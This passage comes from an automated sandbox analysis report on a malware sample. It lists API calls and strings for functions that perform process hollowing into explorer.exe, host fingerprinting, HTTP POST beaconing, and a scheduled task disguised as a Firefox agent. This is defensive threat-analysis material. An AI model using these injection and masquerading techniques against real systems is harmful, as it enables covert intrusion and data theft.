GetProcessHeap.KERNEL32(00000000,?), ref: 02B868DB
HeapFree.KERNEL32(00000000), ref: 02B868DE
GetProcessHeap.KERNEL32(00000000,?), ref: 02B868EA
HeapFree.KERNEL32(00000000), ref: 02B868ED

Strings

Content-Type: application/octet-streamContent-Encoding: binary, xrefs: 02B867F8
`, xrefs: 02B86728
POST, xrefs: 02B867A1

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: Heap$Internet$Process$AllocCloseFreeHandleOption$ByteCharHttpMultiOpenQueryRequestWide$AgentAvailableConnectDataFileObtainReadSendStringUser
String ID: Content-Type: application/octet-streamContent-Encoding: binary$POST$`
API String ID: 2744214989-3343008755
Opcode ID: b15291452c2fde281534d06fb32c9ad0dc10fd5533e8118c8d9d42f04a938bcf
Instruction ID: a160eb897a14dbc0f82950627ecef82487c1666757fd5c693a942ec866678830
Opcode Fuzzy Hash: b15291452c2fde281534d06fb32c9ad0dc10fd5533e8118c8d9d42f04a938bcf
Instruction Fuzzy Hash: E6716071E40219ABEB10ABA4DC49FBEBBBCEB04754F140555FA19F7280DBB0A944CB64

Uniqueness

Uniqueness Score: -1.00%

Function 02B85AB0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 277
injectionthreadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(ntdll,NtUnmapViewOfSection), ref: 02B85AD3
GetProcAddress.KERNEL32(00000000), ref: 02B85ADA
CreateProcessW.KERNEL32(C:\Windows\system32\explorer.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000000,00000000), ref: 02B85B9D
NtQueryInformationProcess.NTDLL ref: 02B85BBA
ReadProcessMemory.KERNEL32(00000000,?,?,00000480,00000000), ref: 02B85BD4
GetThreadContext.KERNEL32(?,00010007), ref: 02B85BE4
VirtualAllocEx.KERNEL32(00000000,?,?,00003000,00000040), ref: 02B85C18
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 02B85C42
WriteProcessMemory.KERNEL32(00000000,?,?,?,00000000,?,?,00000000), ref: 02B85C7B
ReadProcessMemory.KERNEL32(00000000,?,00000000,00000004,00000000,?,?,00000000), ref: 02B85D5B
WriteProcessMemory.KERNEL32(00000000,?,00000000,00000004,00000000,?,?,00000000), ref: 02B85D73
WriteProcessMemory.KERNEL32(00000000,?,?,00000004,00000000,?,?,00000000), ref: 02B85DBB
SetThreadContext.KERNEL32(?,00010007,?,?,00000000), ref: 02B85DD6
ResumeThread.KERNEL32(?,?,?,00000000), ref: 02B85DDF
CloseHandle.KERNEL32(?), ref: 02B85DEE
CloseHandle.KERNEL32(00000000), ref: 02B85DF3

Strings

ntdll, xrefs: 02B85ACE
.reloc, xrefs: 02B85CD1
C:\Windows\system32\certutil.exe, xrefs: 02B85B10
NtUnmapViewOfSection, xrefs: 02B85AC9
C:\Windows\system32\explorer.exe, xrefs: 02B85B20, 02B85B9C

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: Process$Memory$Write$HandleThread$CloseContextRead$AddressAllocCreateInformationModuleProcQueryResumeVirtual
String ID: .reloc$C:\Windows\system32\certutil.exe$C:\Windows\system32\explorer.exe$NtUnmapViewOfSection$ntdll
API String ID: 918112823-4001407722
Opcode ID: 13c6d9a532cfdc857b5cf0707371415f02d5542f9de9d5c6dfef78524feb4996
Instruction ID: bf0742a50183594ed79d5838e3f13ff6c5de6ddda38a793b58ce7ae693c76283
Opcode Fuzzy Hash: 13c6d9a532cfdc857b5cf0707371415f02d5542f9de9d5c6dfef78524feb4996
Instruction Fuzzy Hash: FEB17A71E00219AFDF20DFA8CC84FADBBB5FB48308F5544A9E909EB291D7319955CB24

Uniqueness

Uniqueness Score: -1.00%

Function 02B87620 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 174
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LsaOpenPolicy.ADVAPI32(00000000,02B8A060,00000001,?), ref: 02B8765C
LsaQueryInformationPolicy.ADVAPI32(?,0000000C,?), ref: 02B8766F
GetProcessHeap.KERNEL32(00000008,?), ref: 02B8768B
HeapAlloc.KERNEL32(00000000), ref: 02B87692
LsaFreeMemory.ADVAPI32(?), ref: 02B876CC
LsaClose.ADVAPI32(?), ref: 02B876D5
GetComputerNameW.KERNEL32(?,?), ref: 02B876F4
GetUserNameW.ADVAPI32(?,00000101), ref: 02B87705
wsprintfA.USER32 ref: 02B87786
wsprintfA.USER32 ref: 02B877B9
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02B87810
HeapFree.KERNEL32(00000000), ref: 02B87813
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02B8781C
HeapFree.KERNEL32(00000000), ref: 02B8781F

Strings

0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 02B87716
%s|%d.%d (%d)|%S|%S|%S, xrefs: 02B877B3
%d|%s|%.16s|, xrefs: 02B87780

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: Heap$FreeProcess$NamePolicywsprintf$AllocCloseComputerInformationMemoryOpenQueryUser
String ID: %d|%s|%.16s|$%s|%d.%d (%d)|%S|%S|%S$0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
API String ID: 3257352186-369990036
Opcode ID: 489032fc075d77cab723c84f94b0ceabb56822107389b23ebe4f9895ae648fc1
Instruction ID: 8790bf59f6a4930bb344a333e6ddea3ef89f1d933f55a6807f09ce3d614aeb5b
Opcode Fuzzy Hash: 489032fc075d77cab723c84f94b0ceabb56822107389b23ebe4f9895ae648fc1
Instruction Fuzzy Hash: 2551D375E00249AFEB11EBA4CC44BEEBBB9FF44308F1404E9E949E7111DB709A55DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02B87830 Relevance: 28.4, APIs: 12, Strings: 4, Instructions: 432
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIA.SHLWAPI(?,?,00000000), ref: 02B8787A
wnsprintfA.SHLWAPI ref: 02B87912
wsprintfA.USER32 ref: 02B87939
lstrcmpA.KERNEL32(?,Start), ref: 02B87BBB
EnterCriticalSection.KERNEL32(02B8A088), ref: 02B87C11
GetProcessHeap.KERNEL32(00000008,?), ref: 02B87C78
HeapAlloc.KERNEL32(00000000), ref: 02B87C7F
GetProcessHeap.KERNEL32(00000008,?,?), ref: 02B87C8A
HeapReAlloc.KERNEL32(00000000), ref: 02B87C91
LeaveCriticalSection.KERNEL32(02B8A088), ref: 02B87CE8

Part of subcall function 02B85E10: GetModuleHandleW.KERNEL32(ntdll), ref: 02B85E2D
Part of subcall function 02B85E10: GetProcAddress.KERNEL32(00000000,NtCreateSection), ref: 02B85E41
Part of subcall function 02B85E10: GetProcAddress.KERNEL32(00000000,NtCreateProcessEx), ref: 02B85E4C
Part of subcall function 02B85E10: GetProcAddress.KERNEL32(00000000,RtlCreateProcessParametersEx), ref: 02B85E57
Part of subcall function 02B85E10: GetProcAddress.KERNEL32(00000000,RtlDestroyProcessParameters), ref: 02B85E62
Part of subcall function 02B85E10: GetProcAddress.KERNEL32(00000000,NtCreateThreadEx), ref: 02B85E6D
Part of subcall function 02B85E10: GetTempPathW.KERNEL32(000000F6,?), ref: 02B85E86
Part of subcall function 02B85E10: wnsprintfW.SHLWAPI ref: 02B85EC1
Part of subcall function 02B85E10: PathCombineW.SHLWAPI(?,?,?), ref: 02B85EDB
Part of subcall function 02B85E10: CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000002,00000080,00000000), ref: 02B85F02
Part of subcall function 02B85E10: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 02B85F26
Part of subcall function 02B85E10: SetEndOfFile.KERNEL32(00000000), ref: 02B85F29
Part of subcall function 02B85E10: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 02B85F36
Part of subcall function 02B85E10: wnsprintfW.SHLWAPI ref: 02B85F54

GetProcessHeap.KERNEL32(00000000,?), ref: 02B87D07
HeapFree.KERNEL32(00000000), ref: 02B87D0E

Strings

Start, xrefs: 02B87BB5
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 02B878B0
%d|%s|%.16s|, xrefs: 02B87901
%s|%s, xrefs: 02B87933

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: Heap$AddressProc$File$Processwnsprintf$AllocCriticalPathSection$CombineCreateEnterFreeHandleLeaveModulePointerTempWritelstrcmpwsprintf
String ID: %d|%s|%.16s|$%s|%s$0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$Start
API String ID: 851647271-3778496198
Opcode ID: dac2a0880e9a6773016b78637ea2e6e5bfa2c2e7f83a2ace448c53c0437d518d
Instruction ID: 2b4f7772b2356aa5fc7e1feb58961ea1fb59ed2f241ef2045ceaf74912da70d2
Opcode Fuzzy Hash: dac2a0880e9a6773016b78637ea2e6e5bfa2c2e7f83a2ace448c53c0437d518d
Instruction Fuzzy Hash: F7E14839A012569FEB15EF28C89077AFBA2FB8520CF3845EDC85E97241DF309942DB50

Uniqueness

Uniqueness Score: -1.00%

Function 02B88310 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 121encryptionfilesynchronizationCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(02B8A088), ref: 02B88332

Part of subcall function 02B86FE0: RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00000001,80000002), ref: 02B8700A
Part of subcall function 02B86FE0: RegQueryValueExW.ADVAPI32(80000002,MachineGuid,00000000,?,00000000,?), ref: 02B87026
Part of subcall function 02B86FE0: GetProcessHeap.KERNEL32(00000008,?), ref: 02B87039
Part of subcall function 02B86FE0: HeapAlloc.KERNEL32(00000000), ref: 02B87040
Part of subcall function 02B86FE0: RegQueryValueExW.ADVAPI32(80000002,MachineGuid,00000000,00000000,00000000,?), ref: 02B8705D
Part of subcall function 02B86FE0: RegCloseKey.ADVAPI32(80000002), ref: 02B87069

GetVolumeInformationW.KERNEL32(C:\,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 02B8835F
StringFromGUID2.OLE32(?,?,00000080), ref: 02B883B8
wsprintfA.USER32 ref: 02B883CF
CreateMutexW.KERNEL32(00000000,00000001,?), ref: 02B883E3
GetLastError.KERNEL32 ref: 02B883EE
ExitProcess.KERNEL32 ref: 02B884F3

Part of subcall function 02B824F0: GetTickCount.KERNEL32 ref: 02B824F2

WSAStartup.WS2_32(00000202,?), ref: 02B8842C
CryptAcquireContextA.ADVAPI32(02B8A4F4,00000000,Microsoft Enhanced RSA and AES Cryptographic Provider,00000018,F0000000), ref: 02B88445
CryptAcquireContextA.ADVAPI32(02B8A4F4,00000000,Microsoft Enhanced RSA and AES Cryptographic Provider,00000018,F0000008), ref: 02B88461
CoInitializeEx.OLE32(00000000,00000000), ref: 02B884AC
ExpandEnvironmentStringsW.KERNEL32(%temp%\%paths%,?,00000104), ref: 02B884C3
CreateFileW.KERNEL32(?,10000000,00000000,00000000,00000002,04000080,00000000), ref: 02B884E2

Strings

C:\, xrefs: 02B8835A
Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 02B88439, 02B88456
%temp%\%paths%, xrefs: 02B884BE

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: AcquireContextCreateCryptHeapInitializeProcessQueryValue$AllocCloseCountCriticalEnvironmentErrorExitExpandFileFromInformationLastMutexOpenSectionStartupStringStringsTickVolumewsprintf
String ID: %temp%\%paths%$C:\$Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 267019445-2941900213
Opcode ID: 440d8aa7750d12d8c1501b50e700a631440efc8479494fbe3e42600567c1743b
Instruction ID: f89c7c761181632263f115d19b792ccaf5cee99f36873eb861cac3db88d3fe3d
Opcode Fuzzy Hash: 440d8aa7750d12d8c1501b50e700a631440efc8479494fbe3e42600567c1743b
Instruction Fuzzy Hash: FC41E570A80309ABF720EB64DC4AFA937B8FB04709F1840A6F60EEB191EBB05545CF55

Uniqueness

Uniqueness Score: -1.00%

Function 02B882F6 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 124encryptionfilesynchronizationCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(02B8A088), ref: 02B88332

Part of subcall function 02B86FE0: RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00000001,80000002), ref: 02B8700A
Part of subcall function 02B86FE0: RegQueryValueExW.ADVAPI32(80000002,MachineGuid,00000000,?,00000000,?), ref: 02B87026
Part of subcall function 02B86FE0: GetProcessHeap.KERNEL32(00000008,?), ref: 02B87039
Part of subcall function 02B86FE0: HeapAlloc.KERNEL32(00000000), ref: 02B87040
Part of subcall function 02B86FE0: RegQueryValueExW.ADVAPI32(80000002,MachineGuid,00000000,00000000,00000000,?), ref: 02B8705D
Part of subcall function 02B86FE0: RegCloseKey.ADVAPI32(80000002), ref: 02B87069

GetVolumeInformationW.KERNEL32(C:\,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 02B8835F
StringFromGUID2.OLE32(?,?,00000080), ref: 02B883B8
wsprintfA.USER32 ref: 02B883CF
CreateMutexW.KERNEL32(00000000,00000001,?), ref: 02B883E3
GetLastError.KERNEL32 ref: 02B883EE
ExitProcess.KERNEL32 ref: 02B884F3

Part of subcall function 02B824F0: GetTickCount.KERNEL32 ref: 02B824F2

WSAStartup.WS2_32(00000202,?), ref: 02B8842C
CryptAcquireContextA.ADVAPI32(02B8A4F4,00000000,Microsoft Enhanced RSA and AES Cryptographic Provider,00000018,F0000000), ref: 02B88445
CryptAcquireContextA.ADVAPI32(02B8A4F4,00000000,Microsoft Enhanced RSA and AES Cryptographic Provider,00000018,F0000008), ref: 02B88461
CoInitializeEx.OLE32(00000000,00000000), ref: 02B884AC
ExpandEnvironmentStringsW.KERNEL32(%temp%\%paths%,?,00000104), ref: 02B884C3
CreateFileW.KERNEL32(?,10000000,00000000,00000000,00000002,04000080,00000000), ref: 02B884E2

Strings

C:\, xrefs: 02B8835A
Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 02B88439, 02B88456
%temp%\%paths%, xrefs: 02B884BE

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: AcquireContextCreateCryptHeapInitializeProcessQueryValue$AllocCloseCountCriticalEnvironmentErrorExitExpandFileFromInformationLastMutexOpenSectionStartupStringStringsTickVolumewsprintf
String ID: %temp%\%paths%$C:\$Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 267019445-2941900213
Opcode ID: abc0dcece5a14e925d0d968381d14e2ebaf1ac579b45a96868286e7c895d2c05
Instruction ID: 4eab8604c7ae69b646887a8d1c3f9317a4340ad2a58a09b332403122437c894f
Opcode Fuzzy Hash: abc0dcece5a14e925d0d968381d14e2ebaf1ac579b45a96868286e7c895d2c05
Instruction Fuzzy Hash: 3B41D671A80309AFE720EB64DC4AFA937B8FB04704F1840A9F60DEB191EBB45549CF55

Uniqueness

Uniqueness Score: -1.00%

Function 02B88F70 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86memoryencryptionCOMMON

Download Yara Rule

APIs

CryptGenRandom.ADVAPI32(00000020,?), ref: 02B88F88

Part of subcall function 02B82690: GetProcessHeap.KERNEL32(00000008,AAAAAAAB,?,?,?,?,02B88FD5,00000000), ref: 02B826B2
Part of subcall function 02B82690: HeapAlloc.KERNEL32(00000000,?,?,?,?,02B88FD5,00000000), ref: 02B826B9

GetProcessHeap.KERNEL32(00000000,00000000), ref: 02B88FE5
HeapFree.KERNEL32(00000000), ref: 02B88FEC
wsprintfA.USER32 ref: 02B8901F
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02B89058
HeapFree.KERNEL32(00000000), ref: 02B8905B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02B89060
HeapFree.KERNEL32(00000000), ref: 02B89063

Strings

%d|%s|%s|%s, xrefs: 02B89019
qE2PyNqQ, xrefs: 02B89007

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: Heap$Process$Free$AllocCryptRandomwsprintf
String ID: %d|%s|%s|%s$qE2PyNqQ
API String ID: 4113358155-501091151
Opcode ID: 310910f53aa5546de013e01c405086ff2a8e8fd6972a10b8db4d7090643f7622
Instruction ID: cacb9a9a7aa624249268f146444928c3673f84d5ea9f1e8a47f1d23855b074f8
Opcode Fuzzy Hash: 310910f53aa5546de013e01c405086ff2a8e8fd6972a10b8db4d7090643f7622
Instruction Fuzzy Hash: 8F21D671E4030CABFB10B6A4DC0AFEF7B6DEF44754F080595FA0DA7181EA609915CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 02B86AA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 95memorycomCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 02B86AB7
CoCreateInstance.OLE32(02B81020,00000000,00000001,02B81000,?), ref: 02B86AD4
SysAllocString.OLEAUT32(\Mozilla), ref: 02B86B14
SysFreeString.OLEAUT32(?), ref: 02B86B4B
SysAllocString.OLEAUT32(Firefox Default Browser Agent 318146B0AF4A39CB), ref: 02B86B58
SysFreeString.OLEAUT32(00000000), ref: 02B86B6F

Strings

Firefox Default Browser Agent 318146B0AF4A39CB, xrefs: 02B86B53
\Mozilla, xrefs: 02B86B0F

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: String$AllocFree$CreateInitInstanceVariant
String ID: Firefox Default Browser Agent 318146B0AF4A39CB$\Mozilla
API String ID: 478541636-3211539605
Opcode ID: 3995bbc882b4c15238fd165a6492baff3de4fdeed080ba026261693608a04796
Instruction ID: 6159d9f554d0844cc0ae4e04ad5ddad5fc76e42759c89c868f9c64f3cd24165f
Opcode Fuzzy Hash: 3995bbc882b4c15238fd165a6492baff3de4fdeed080ba026261693608a04796
Instruction Fuzzy Hash: 4D318675F51244AFE700AB79CC85BAEBBB8EF49348F0041D8F909EB211D6319985C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 02B861B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 02B861BD
OpenProcessToken.ADVAPI32(00000000), ref: 02B861C4
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 02B861D9
CloseHandle.KERNEL32(?), ref: 02B861E6
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 02B86210
CloseHandle.KERNEL32(?), ref: 02B8621B

Strings

SeShutdownPrivilege, xrefs: 02B861D2

Memory Dump Source

Source File: 00000000.00000002.1657832514.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1657817836.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1657850122.0000000002B8B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SecuriteInfo.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 158869116-3733053543
Opcode ID: 2f79bbd6349654c8ff2caf6419fdb72afbf62bf21f0fa0b0a0b261f8471a8df6
Instruction ID: bf353dd747908916c6fdc730b789fcdb143a9782a34ca4d47e790bb182c757eb
Opcode Fuzzy Hash: 2f79bbd6349654c8ff2caf6419fdb72afbf62bf21f0fa0b0a0b261f8471a8df6
Instruction Fuzzy Hash: 2A014431E81219BBDB10ABF49D09BEE7B7CFB04745F100494F91CE6181D7718A24D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 008F421C Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 008F4228
IsDebuggerPresent.KERNEL32 ref: 008F42F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 008F4314
UnhandledExceptionFilter.KERNEL32(?), ref: 008F431E

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b09ab69437c06a7e2c04234d71c6ae9b4ef379d1e95f5d5c7489719a02f14bf1
Instruction ID: 2884a98fe2d04d6dbd5c578624d5c79156ec3e53216bd3a8be1302c6229dc0e0
Opcode Fuzzy Hash: b09ab69437c06a7e2c04234d71c6ae9b4ef379d1e95f5d5c7489719a02f14bf1
Instruction Fuzzy Hash: 5D314775D0521C9FDB10DFA4D989BDDBBB8FF08304F1040AAE50DAB250EB709A848F05

Uniqueness

Uniqueness Score: -1.00%

Function 008F695B Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 008F6A53
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 008F6A5D
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 008F6A6A

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 6fcbc162363790160084011007aef1faea72cee104668ae1a7a71fcd35b67bf1
Instruction ID: b789e12ddfb5401b5f1aa32ddd86dd33f777e5b9288e95236e0aec038ae2a1a4
Opcode Fuzzy Hash: 6fcbc162363790160084011007aef1faea72cee104668ae1a7a71fcd35b67bf1
Instruction Fuzzy Hash: F231927591122C9BCB21DF68DC8979DBBB8FF08310F5082EAE51CA7250EB709B858F55

Uniqueness

Uniqueness Score: -1.00%

Function 008F75A2 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,008F75A1,?,?,?,?,?,008FC8FA), ref: 008F75C4
TerminateProcess.KERNEL32(00000000,?,008F75A1,?,?,?,?,?,008FC8FA), ref: 008F75CB
ExitProcess.KERNEL32 ref: 008F75DD

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: cd89b7f62ccc2ea77786217926b6bd51d631411271bf925a9157bde7dbed3654
Instruction ID: 919e30236f2c5eb0bce4d681d695993fb9b3b89a1048d463834dfb3b2f4e0c59
Opcode Fuzzy Hash: cd89b7f62ccc2ea77786217926b6bd51d631411271bf925a9157bde7dbed3654
Instruction Fuzzy Hash: 09E0EC3102868CAFDF126F68DE49A683B7DFB49342F014424FA45C6131CB39DD82EB51

Uniqueness

Uniqueness Score: -1.00%

Function 008FE87D Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,008FE878,?,?,00000008,?,?,008FE510,00000000), ref: 008FEAAA

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1657461293.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657513298.0000000000901000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657537036.0000000000908000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1657552396.000000000090A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 56c6f305b4455e9a325b4232f56289280c691552ed6d5940eff4748c1351ba70
Instruction ID: c135adec93021c51d979ae187816d967b2b46abe2a4c87723c3cc24cd405250c
Opcode Fuzzy Hash: 56c6f305b4455e9a325b4232f56289280c691552ed6d5940eff4748c1351ba70
Instruction Fuzzy Hash: A8B11831610609DFD719CF28C48AB657BA1FF45364F298658EADACF2B1C335E991CB40

Uniqueness

Uniqueness Score: -1.00%

Function 008F44C5 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 008F44DB

Memory Dump Source

Source File: 00000000.00000002.1657488948.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

